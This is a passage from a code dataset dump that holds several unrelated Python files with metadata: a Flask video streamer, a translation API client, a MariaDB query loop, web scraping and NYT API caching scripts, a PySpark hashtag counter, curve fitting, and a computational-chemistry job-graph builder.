component_name=self.name,\n metrics_collector=self.metrics_collector)\n self.t_get.as_thread()\n self.register_routine(self.t_get)\n\n self.queue2 = queue.Queue(maxsize=1)\n self.t_vis = VisLogic(self.queue, self.queue2, name=\"vis_logic\",\n component_name=self.name,\n metrics_collector=self.metrics_collector).as_thread()\n self.register_routine(self.t_vis)\n\n app = Flask(__name__)\n app.debug = False\n\n @app.route('/video')\n def video_feed():\n return Response(gen(QueueHandler(self.queue2)),\n mimetype='multipart/x-mixed-replace; '\n 'boundary=frame')\n\n self.server = Thread(target=app.run, kwargs={\"host\": '0.0.0.0'})\n self.register_routine(self.server)\n\n def flip_im(self):\n self.t_get.flip = not self.t_get.flip\n\n def negative(self):\n self.t_get.negative = not self.t_get.negative\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input_im', help='Input stream key name', type=str, default='camera:0')\n parser.add_argument('-m', '--input_meta', help='Input stream key name', type=str, default='camera:2')\n parser.add_argument('--names', type=str, default='pipert/contrib/YoloResources/coco.names',\n help='coco.names file path')\n parser.add_argument('-u', '--url', help='Redis URL', type=str, default='redis://127.0.0.1:6379')\n parser.add_argument('-z', '--zpc', help='zpc port', type=str, default='4246')\n parser.add_argument('--monitoring', help='Name of the monitoring service', type=str, default='prometheus')\n\n args = parser.parse_args()\n args_dict = vars(args)\n # Set up Redis connection\n # url = urlparse(args.url)\n url = os.environ.get('REDIS_URL')\n url = urlparse(url) if url is not None else urlparse(args.url)\n\n if args.monitoring == 'prometheus':\n collector = PrometheusCollector(8082)\n elif args.monitoring == 'splunk':\n collector = SplunkCollector()\n else:\n collector = NullCollector()\n\n zpc = FlaskVideoDisplay(args.input_meta, args.input_im, url, collector, f\"tcp://0.0.0.0:{args.zpc}\")\n print(f\"run {zpc.name}\")\n zpc.run()\n print(f\"Killed {zpc.name}\")\n", "sub_path": "pipert/contrib/flask_display.py", "file_name": "flask_display.py", "file_ext": "py", "file_size_in_byte": 7734, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pipert.core.QueueHandler", "line_number": 23, "usage_type": "name"}, {"api_name": "pipert.core.routine.Routine", "line_number": 36, "usage_type": "name"}, {"api_name": "pipert.core.QueueHandler", "line_number": 43, "usage_type": "call"}, {"api_name": "pipert.core.message.message_decode", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 66, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 75, "usage_type": "call"}, {"api_name": "pipert.core.message_handlers.RedisHandler", "line_number": 79, "usage_type": "call"}, {"api_name": "pipert.core.routine.Routine", "line_number": 85, "usage_type": "name"}, {"api_name": "pipert.core.QueueHandler", "line_number": 88, "usage_type": "call"}, {"api_name": "pipert.core.QueueHandler", "line_number": 89, "usage_type": "call"}, {"api_name": "pipert.utils.visualizer.VideoVisualizer", "line_number": 90, "usage_type": "call"}, {"api_name": "pipert.utils.visualizer.catalog.MetadataCatalog.get", "line_number": 90, "usage_type": "call"}, {"api_name": "pipert.utils.visualizer.catalog.MetadataCatalog", "line_number": 90, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 107, "usage_type": "name"}, {"api_name": "pipert.core.message.Message", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 115, "usage_type": "name"}, {"api_name": "pipert.core.message.Message", "line_number": 115, "usage_type": "name"}, {"api_name": "cv2.imencode", "line_number": 117, "usage_type": "call"}, {"api_name": "pipert.core.component.BaseComponent", "line_number": 135, "usage_type": "name"}, {"api_name": "queue.Queue", "line_number": 140, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 155, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 160, "usage_type": "call"}, {"api_name": "pipert.core.QueueHandler", "line_number": 160, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 164, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 175, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 188, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 188, "usage_type": "attribute"}, {"api_name": "urllib.parse.urlparse", "line_number": 189, "usage_type": "call"}, {"api_name": "pipert.contrib.metrics_collectors.prometheus_collector.PrometheusCollector", "line_number": 192, "usage_type": "call"}, {"api_name": "pipert.contrib.metrics_collectors.splunk_collector.SplunkCollector", "line_number": 194, "usage_type": "call"}, {"api_name": "pipert.core.metrics_collector.NullCollector", "line_number": 196, "usage_type": "call"}]} {"seq_id": "184628490", "text": "import re, random, json\nfrom urllib.parse import quote\nfrom urllib.request import urlopen\nfrom urllib.request import URLError\nclass SpanishTranslator(object):\n\tdef __init__(self,wordreference_api_key='8a8bc'):\n\t\tself.url = \"http://api.wordreference.com/0.8/{0}/json/esen/\".format(wordreference_api_key)+\"{0}\"\n\n\tdef translate_word_full(self, word):\n\t\t# Use quote method to percent encode, after first encoding utf with hex\n\t\tword_url = self.url.format(word)\n\t\ttry:\n\t\t\t# Get the JSON from the web server\n\t\t\traw_json_result = urlopen(word_url).read().rstrip()\n\t\t\tresult = json.loads(raw_json_result.decode())\n\t\t\treturn result\n\t\texcept URLError as e:\n\t\t\treturn None\n\t\texcept ValueError as e:\n\t\t\treturn None\n\n\tdef translate_word(self, word):\n\t\tword_object = self.translate_word_full(word)\n\t\tword_dict = {\"Original Word\":word, \"First Translation\":None, \"Second Translation\":None, \"First Compound\":None, \"First Compound Translation\": None, \"Second Compound\":None, \"Second Compound Translation\": None}\n\t\tif word_object is None:\n\t\t\treturn None\n\t\tif 'term0' not in word_object or 'PrincipalTranslations' not in word_object['term0']:\n\t\t\treturn None\n\t\tword_dict['First Translation']= word_object['term0']['PrincipalTranslations']['0']['FirstTranslation']['term']\n\n\t\tif \"1\" in word_object['term0']['PrincipalTranslations']:\n\t\t\tword_dict['Second Translation'] = word_object['term0']['PrincipalTranslations']['1']['FirstTranslation']['term']\n\n\t\tif \"original\" in word_object and \"Compounds\" in word_object['original']:\n\t\t\tword_dict[\"First Compound\"] = word_object['original']['Compounds']['0']['OriginalTerm']['term']\n\t\t\tword_dict[\"First Compound Translation\"] = word_object['original']['Compounds']['0']['FirstTranslation']['term']\n\n\t\t\tif \"1\" in word_object['original']['Compounds']:\n\t\t\t\tword_dict[\"Second Compound\"] = word_object['original']['Compounds']['1']['OriginalTerm']['term']\n\t\t\t\tword_dict[\"Second Compound Translation\"] = word_object['original']['Compounds']['1']['FirstTranslation']['term']\n\t\treturn word_dict", "sub_path": "langtools/SpanishTranslator.py", "file_name": "SpanishTranslator.py", "file_ext": "py", "file_size_in_byte": 2005, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.request.urlopen", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib.request.URLError", "line_number": 17, "usage_type": "name"}]} {"seq_id": "639332687", "text": "\"\"\"\nUtility functions for generating a new unique application reference number\n\"\"\"\n\nimport requests\nfrom django.conf import settings\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_application_reference():\n \"\"\"\n Function for getting the next available URN from NOO such that it can be allocated to a Childminder application\n :return: a unique reference number for an application\n \"\"\"\n try:\n integration_adapter_endpoint = settings.INTEGRATION_ADAPTER_URL\n response = requests.get(integration_adapter_endpoint + '/api/v1/urns/', verify=False)\n\n response_body_as_json = response.json()\n urn = response_body_as_json['URN']\n\n # Note that the EY prefix is appended here as this is not returned by NOO\n return str(urn)\n except Exception as e:\n logger.error('Failed to allocate application reference number: ' + str(e))\n raise e\n\n", "sub_path": "application/services/noo_integration_service.py", "file_name": "noo_integration_service.py", "file_ext": "py", "file_size_in_byte": 916, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.settings.INTEGRATION_ADAPTER_URL", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 20, "usage_type": "call"}]} {"seq_id": "307849345", "text": "import threading\nimport requests\nimport argparse\n\nfrom flask import Flask, request\n\n\nclass Server:\n\n def __init__(self, host, port):\n self.host = host\n self.port = port\n\n self.app = Flask(__name__)\n self.app.add_url_rule('shutdown', view_func=self.shutdown)\n self.app.add_url_rule('/', view_func=self.get_home)\n self.app.add_url_rule('/home', view_func=self.shutdown)\n\n def run_server(self):\n self.server=threading.Thread(target=self.app.run, kwargs={'host': self.host, 'port':self.port})\n self.server.start()\n return self.server\n\n def shutdown_server(self):\n request.get(f'http://{self.host}:{self.port}/shutdown')\n\n def shutdown(self):\n terminate_func = request.environ.get('werkzeug.server.shutdown')\n if terminate_func:\n terminate_func()\n\n def get_home(self):\n return 'Hello ,api server'\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', type=str, dest='config')\n\n args = parser.parse_args()\n\n config = config_parser(args.config)\n\n server_host =config['SERVER_HOST']\n server_port = config['SERVER_PORT']\n\n server_host = Server(\n host=server_host,\n port=server_port\n )\n server.run_server()\n\n\n", "sub_path": "app/api/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1300, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.get", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.environ.get", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 36, "usage_type": "call"}]} {"seq_id": "88887940", "text": "# 파일명 : s0203_mariadb.py\n\n# mariadb 연동 연습\n# db 서버 정보\n# ip주소 : 192.168.0.155\n# port : 3306\n# 계정명 : python\n# 암호 : --------\n# db명 : shopping_db\n\nclass pymysqlError(Exception):\n def __str__(self):\n return \"오류 1\"\n\nclass pymysqlError2(Exception):\n def __str__(self):\n return \"오류 2\"\n\nimport pymysql\n\nhost = \"192.168.0.155\"\nport = 3306\nuser = \"python\"\npassword = \"--------\"\ndb = \"shopping_db\"\n\n#db 서버와 연결\nimport pymysql\nconnect = pymysql.connect(host = host,\n port = port,\n user = user,\n password = password,\n db = db)\n \n #db 연결 객체 커서 불러오기\ncursor = connect.cursor()\n \nwhile True:\n\n sql = input(\"MariaDB [shopping_db] > \").strip()\n\n if sql == '':\n continue\n elif sql.lower() in ('quit', 'exit'):\n break\n \n try:\n count = cursor.execute(sql)\n if count == 0:\n print(\"조회 결과 없음\")\n continue\n except pymysql.err.OperationalError as message:\n print(f\"에러 발생 : {message}\")\n except pymysql.err.ProgrammingError as message:\n print(f\"에러 발생 : 잘못된 SQL문 입니다.\\n{message}\")\n else:\n rows = cursor.fetchall()\n for row in rows:\n print(row)\n finally:\n print()", "sub_path": "db/s0203_mariadb.py", "file_name": "s0203_mariadb.py", "file_ext": "py", "file_size_in_byte": 1388, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pymysql.connect", "line_number": 29, "usage_type": "call"}, {"api_name": "pymysql.err", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pymysql.err", "line_number": 54, "usage_type": "attribute"}]} {"seq_id": "188416846", "text": "from bs4 import BeautifulSoup\n\nhtml = \"\"\"\n<html><body>\n <ul>\n <li><a href=\"http://www.naver.com\">naver</a></li>\n <li><a href=\"http://www.daum.net\">daum</a></li>\n <li><a href=\"http://www.daum.com\">daum</a></li>\n <li><a href=\"https://www.google.com\">google</a></li>\n <li><a href=\"https://www.tistory.com\">tistory</a></li>\n </ul>\n</body></html>\n\"\"\"\n\nsoup = BeautifulSoup(html, 'html.parser')\n\nlinks = soup.find_all(\"a\")\n#print('links', type(links))\n\na = soup.find_all(\"a\", string=\"daum\") # daum 글자 들어간 것만 가져옴\n#print('a', a)\n\nb = soup.find('a') # 최상위 한 개만 가져옴\n#print('b', b)\n\nb = soup.find_all(\"a\", limit=1) # limit = 0 이면 다 가져옴\n#print('b', b)\n\nc = soup.find_all(string=[\"naver\", \"google\"]) # 해당 글자가 들어가면 가져옴(글자만) (원래는 정규식같은거로 씀)\nprint('c', type(c))\n\nfor a in links:\n #print('a', type(a), a)\n href = a.attrs['href']\n txt = a.string\n #print('txt >>', txt, 'href >>', href)\n", "sub_path": "WebCrawler/Beautifulsoup/download2-5-3.py", "file_name": "download2-5-3.py", "file_ext": "py", "file_size_in_byte": 1023, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 15, "usage_type": "call"}]} {"seq_id": "642735326", "text": "import requests\nimport json\nimport secrets\nimport nyt_info\nimport sqlite3\n\ndef makeRequestsUsingCache(url, ident):\n ident = ident\n try:\n cache_file1 = open('cache-nyt.json', 'r')\n cache_contents1 = cache_file1.read()\n CACHE_DICTION1 = json.loads(cache_contents1)\n #cache_file1.close()\n except:\n CACHE_DICTION1 = {}\n if ident in CACHE_DICTION1:\n return CACHE_DICTION1[ident]\n else:\n response = requests.get(url)\n CACHE_DICTION1[ident] = response.text\n dumpJSONCache = json.dumps(CACHE_DICTION1)\n f1 = open('cache-nyt.json', 'w')\n f1 = f1.write(dumpJSONCache)\n #f1.close()\n return CACHE_DICTION1[ident]\n\ndef nytRequest(ident):\n base_url = 'https://api.nytimes.com/svc/mostpopular/v2/viewed/1.json?api-key='\n my_key = nyt_info.api_key\n url = base_url + my_key\n response = makeRequestsUsingCache(url, ident)\n return response\n\ndef parseJSON(listOfCities):\n for city in listOfCities:\n nytRequest(city)\n\n fn = 'cache-nyt.json'\n with open(fn, 'r') as f:\n data = json.load(f)\n\n articleInfo = []\n for c in data:\n #print(json.loads(data[c])['results'])\n for result in json.loads(data[c])['results']:\n indivResult = {}\n indivResult['city'] = c\n indivResult['title'] = result['title']\n indivResult['views'] = result['views']\n indivResult['section'] = result['section']\n #print(indivResult)\n articleInfo.append(indivResult)\n return articleInfo\n\ndef create_table():\n #filename = 'cache-nyt.json'\n conn = sqlite3.connect('NYT.sqlite')\n cur = conn.cursor()\n cur.execute('DROP TABLE IF EXISTS NYT')\n conn.commit()\n cur.execute('CREATE TABLE NYT (city TEXT, title TEXT, views INTEGER, section TEXT)')\n conn.commit()\n \n # nyt_file = open('cache-nyt.json','r')\n # contents = nyt_file.read()\n # nyt_file.close()\n # nyt_data = json.loads(contents)\n #print(\"num articles: \" + str(len(nyt_data)))\n\ndef insert_data():\n create_table()\n conn = sqlite3.connect('NYT.sqlite')\n cur = conn.cursor()\n\n data = parseJSON(['New York', 'Ann Arbor', 'Miami', 'Los Angeles', 'Austin'])\n\n for article in data:\n info = list(article.values())\n _city = info[0]\n _title = info[1]\n _views = info[2]\n _section = info[3]\n cur.execute('INSERT INTO NYT (city, title, views, section) VALUES (?, ?, ?, ?)', (_city, _title, _views, _section))\n\n conn.commit()\n\ninsert_data()\n\n\n\n#print(parseJSON(['New York', 'Ann Arbor', 'Miami', 'Los Angeles', 'Austin']))", "sub_path": "nyt_api.py", "file_name": "nyt_api.py", "file_ext": "py", "file_size_in_byte": 2642, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.loads", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 21, "usage_type": "call"}, {"api_name": "nyt_info.api_key", "line_number": 29, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 72, "usage_type": "call"}]} {"seq_id": "625999811", "text": "#import findspark\n#findspark.init()\n\nfrom pyspark import SparkConf,SparkContext\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.sql import Row,SQLContext\nimport sys\nimport requests\n\ndef aggregate_tweets_count(new_values, total_sum):\n\treturn sum(new_values) + (total_sum or 0)\n\nconf=SparkConf()\nconf.setAppName(\"BigData\")\nsc=SparkContext(conf=conf)\n\nssc=StreamingContext(sc,int(sys.argv[2]))\n#ssc.checkpoint(\"/home/ccbdprojectsav\")\n\ndataStream=ssc.socketTextStream(\"localhost\",9009)\n#tweet=dataStream.filter(lambda w: w.split(';')[7].strip())\n#tweet.pprint()\ntweet=dataStream.map(lambda w:w.split(';')[7].strip())\n#tweet=tweet.flatMap(lambda w:list(map(lambda x:x,w.split(','))))\ntweet=tweet.flatMap(lambda x:x.split(','))\ntweet=tweet.filter(lambda x:x!='')\ntweet=tweet.map(lambda x:(x,1))\n#tweet.pprint()\n#tweet.pprint()\n#tweet1=tweet.countByValue()\n#tweet=tweet.map(lambda w:w[0])\n#hi=tweet.map(lambda\n#tweet.pprint()\ncommonhashtags = tweet.reduceByKeyAndWindow(lambda x,y:x+y,lambda x,y:x-y,int(sys.argv[1]), 1)\n#commonhashtags.pprint()\n#commonhashtags.sortBy(lambda x:x)\n#totalcount=tweet.updateStateByKey(aggregate_tweets_count)\n#totalcount.pprint()\nsorted_ = commonhashtags.transform(lambda rdd: rdd.sortBy(lambda x: (-x[1],x[0])))\n#print(sorted_.collect())\n#sorted_.pprint(3)\ndef ppprint(rdd):\n\tif(len(rdd.collect())!=0):\n\t\tprint(rdd.collect()[0][0]+\",\"+rdd.collect()[1][0]+\",\"+rdd.collect()[2][0]+\",\"+rdd.collect()[3][0]+\",\"+rdd.collect()[4][0])\n#tweet.pprint()\nsorted_=sorted_.foreachRDD(ppprint)\nssc.start()\nssc.awaitTermination(25)\nssc.stop()\n", "sub_path": "adminmgr/media/code/A3/task3/BD_543_565_624.py", "file_name": "BD_543_565_624.py", "file_ext": "py", "file_size_in_byte": 1565, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyspark.SparkConf", "line_number": 13, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 15, "usage_type": "call"}, {"api_name": "pyspark.streaming.StreamingContext", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}]} {"seq_id": "343184191", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndef LineFitWt(x, y, sig):\n \"\"\" \n Returns slope and y-intercept of weighted linear fit to\n (x,y) data set.\n Inputs: x and y data array and uncertainty array (unc)\n for y data set.\n Outputs: slope and y-intercept of best fit to data and\n uncertainties of slope & y-intercept.\n \"\"\"\n sig2 = sig**2\n norm = (1./sig2).sum()\n xhat = (x/sig2).sum() / norm\n yhat = (y/sig2).sum() / norm\n slope = ((x-xhat)*y/sig2).sum()/((x-xhat)*x/sig2).sum()\n yint = yhat - slope*xhat\n sig2_slope = 1./((x-xhat)*x/sig2).sum()\n sig2_yint = sig2_slope * (x*x/sig2).sum() / norm\n return slope, yint, np.sqrt(sig2_slope), np.sqrt(sig2_yint)\n\ndef redchisq(x, y, dy, slope, yint):\n chisq = (((y-yint-slope*x)/dy)**2).sum()\n return chisq/float(x.size-2)\n\n# Read data from data file\nt, V, dV = np.loadtxt(\"RLcircuit.txt\", skiprows=2, unpack=True)\n\n########## Code to tranform & fit data starts here ##########\n\n# Transform data and parameters from ln V = ln V0 - Gamma t\n# to linear form: Y = A + B*X, where Y = ln V, X = t, dY = dV/V\nX = t # transform t data for fitting (not needed as X=t)\nY = np.log(V) # transform N data for fitting\ndY = dV/V # transform uncertainties for fitting\n\n# Fit transformed data X, Y, dY to obtain fitting parameters\n# B & A. Also returns uncertainties dA & dB in B & A\nB, A, dB, dA = LineFitWt(X, Y, dY)\n# Return reduced chi-squared\nredchisqr = redchisq(X, Y, dY, B, A)\n\n# Determine fitting parameters for original exponential function\n# N = N0 exp(-Gamma t) ...\nV0 = np.exp(A)\nGamma = -B\n# ... and their uncertainties\ndV0 = V0 * dA\ndGamma = dB\n\n###### Code to plot transformed data and fit starts here ######\n\n# Create line corresponding to fit using fitting parameters\n# Only two points are needed to specify a straight line\nXext = 0.05*(X.max()-X.min())\nXfit = np.array([X.min()-Xext, X.max()+Xext]) # smallest & largest X points\nYfit = B*Xfit + A # generates Y from X data & \n # fitting function\nplt.errorbar(X, Y, dY, fmt=\"b^\")\nplt.plot(Xfit, Yfit, \"c-\", zorder=-1)\nplt.title(r\"$\\mathrm{Fit\\ to:}\\ \\ln V = \\ln V_0-\\Gamma t$ or $Y = A + BX$\")\nplt.xlabel('time (ns)')\nplt.ylabel('ln voltage (volts)')\nplt.xlim(-50, 550)\n\nplt.text(210, 1.5, u\"A = ln V0 = {0:0.4f} \\xb1 {1:0.4f}\".format(A, dA))\nplt.text(210, 1.1, u\"B = -Gamma = {0:0.4f} \\xb1 {1:0.4f} /ns\".format(B, dB))\nplt.text(210, 0.7, \"$\\chi_r^2$ = {0:0.3f}\".format(redchisqr))\nplt.text(210, 0.3, u\"V0 = {0:0.2f} \\xb1 {1:0.2f} V\".format(V0, dV0))\nplt.text(210, -0.1,u\"Gamma = {0:0.4f} \\xb1 {1:0.4f} /ns\".format(Gamma, dGamma))\n\nplt.show()\nplt.savefig(\"RLcircuit.pdf\")", "sub_path": "Book/chap8/Problems/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2735, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.sqrt", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}]} {"seq_id": "145559031", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 6 13:07:14 2019\n\n@author: michal\n\"\"\"\n\nimport networkx as nx\nfrom os import getcwd, makedirs\nfrom os.path import join, isdir, basename\nfrom fDynamoJobNode import FDynamoNode\nfrom parsers import parseFDynamoCompileScript\nfrom graphManager import GraphManager\nimport sys\nfrom glob import glob\nfrom shutil import copyfile\nfrom whamNode import WhamNode\n#from crdParser import getCoords, dist, atomsFromAtomSelection\ndef rewriteFlexibleSeleFile( original ):\n inF = open(original, 'r')\n line = inF.readline().upper()\n \n corrected = \"\"\n \n if \"MY_SELE_QMNB\" in line:\n corrected = original\n else:\n corrected = original.replace(\".f90\", \"_qmnb.f90\")\n \n cF = open(corrected, 'w')\n cF.write( line.replace(\"MY_SELE(\" , \"MY_SELE_QMNB(\") )\n \n line = inF.readline()\n while line:\n cF.write(line)\n line = inF.readline()\n \n inF.close()\n \n return corrected\n\ndef generateTSsearchDynamoPMF(compFile):\n jobGraph = nx.DiGraph()\n currentDir = getcwd()\n rootDir = currentDir\n data = parseFDynamoCompileScript(compFile)\n\n ########## INITIAL SCAN ###########################\n definedAtoms = data[\"definedAtoms\"]\n constraints = data[\"constraints\"]\n newNode = FDynamoNode(data[\"inputFile\"], currentDir)\n newNode.coordsIn = data[\"coordsIn\"]\n newNode.verification = [ \"scan1D\" ]\n newNode.slurmFile = None\n newNode.autorestart = False\n newNode.readInitialScanCoord = True\n# newNode.noOfExcpectedImaginaryFrequetions = 1\n newNode.forceField = data[\"forceField\"]\n newNode.flexiblePart = data[\"flexiblePart\"]\n newNode.sequence = data[\"sequence\"]\n newNode.qmSele = data[\"qmSele\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.fDynamoPath = data[\"fDynamoPath\"]\n newNode.charge = data[\"charge\"]\n newNode.method = data[\"method\"]\n newNode.additionalKeywords = { \"scanDir\" : \"+\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"1.0\",\n \"iterNo\" : \"80\", \"definedAtoms\" : definedAtoms, \"constraints\" : constraints }\n \n jobGraph.add_node( currentDir , data = newNode )\n newNode.generateInput()\n # newNode.compileInput()\n \n ################## TS SEARCH #####################################\n startDir, currentDir = currentDir, join(currentDir, \"ts_search\")\n newNode = FDynamoNode(\"tsSearch.f90\", currentDir)\n newNode.verification = [\"Opt\" , \"Freq\"]\n newNode.noOfExcpectedImaginaryFrequetions = 1\n newNode.templateKey = \"QMMM_opt_mopac\"\n newNode.additionalKeywords = { \"ts_search\" : \"true\" }\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"coordsDone.crd\"\n \n jobGraph.add_node(currentDir, data = newNode)\n jobGraph.add_edge(startDir, currentDir)\n \n tsFoundDir = currentDir\n\n stepOptDir = join(currentDir, \"tsTightOpt\")\n\n newNode = FDynamoNode(\"optStep.f90\", stepOptDir)\n newNode.verification = [\"Opt\"]\n newNode.partition = \"plgrid-short\"\n newNode.time = \"1:00:00\"\n newNode.templateKey = \"QMMM_opt_mopac_no_hess_restr\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"coordScanStart\" : \"\" , \"definedAtoms\" : definedAtoms, \"constraints\" : constraints, \"gradientTolerance\" : \"0.1\"}\n\n jobGraph.add_node(stepOptDir, data = newNode)\n jobGraph.add_edge( tsFoundDir, stepOptDir)\n\n \n newDir = join(currentDir, \"irc_reverse\")\n newNode = FDynamoNode(\"irc_reverse.f90\", newDir)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_irc_mopac\"\n newNode.additionalKeywords = { \"IRC_dir\" : \"-1\" }\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"coordsDone.crd\"\n \n jobGraph.add_node(newDir, data = newNode)\n jobGraph.add_edge(currentDir, newDir)\n \n optDir = join(newDir, \"opt\")\n \n newNode = FDynamoNode(\"opt.f90\", optDir)\n newNode.verification = [\"Opt\", \"Freq\"]\n newNode.noOfExcpectedImaginaryFrequetions = 0\n newNode.templateKey = \"QMMM_opt_mopac\"\n newNode.additionalKeywords = { \"ts_search\" : \"false\" }\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"coordsDone.crd\"\n \n jobGraph.add_node(optDir, data = newNode)\n jobGraph.add_edge( newDir, optDir)\n\n\n \n newDir = join(currentDir, \"irc_forward\")\n newNode = FDynamoNode(\"irc_forward.f90\", newDir)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_irc_mopac\"\n newNode.additionalKeywords = { \"IRC_dir\" : \"1\" }\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"coordsDone.crd\"\n \n jobGraph.add_node(newDir, data = newNode)\n jobGraph.add_edge(currentDir, newDir)\n \n optDir = join(newDir, \"opt\")\n \n newNode = FDynamoNode(\"opt.f90\", optDir)\n newNode.verification = [\"Opt\", \"Freq\"]\n newNode.noOfExcpectedImaginaryFrequetions = 0\n newNode.templateKey = \"QMMM_opt_mopac\"\n newNode.additionalKeywords = { \"ts_search\" : \"false\" }\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"coordsDone.crd\"\n \n jobGraph.add_node(optDir, data = newNode)\n jobGraph.add_edge( newDir, optDir)\n\n \n ####################### SCAN FROM TS #########################\n\n reverseScan = join(startDir, \"TS1reverseScan1\")\n \n newNode = 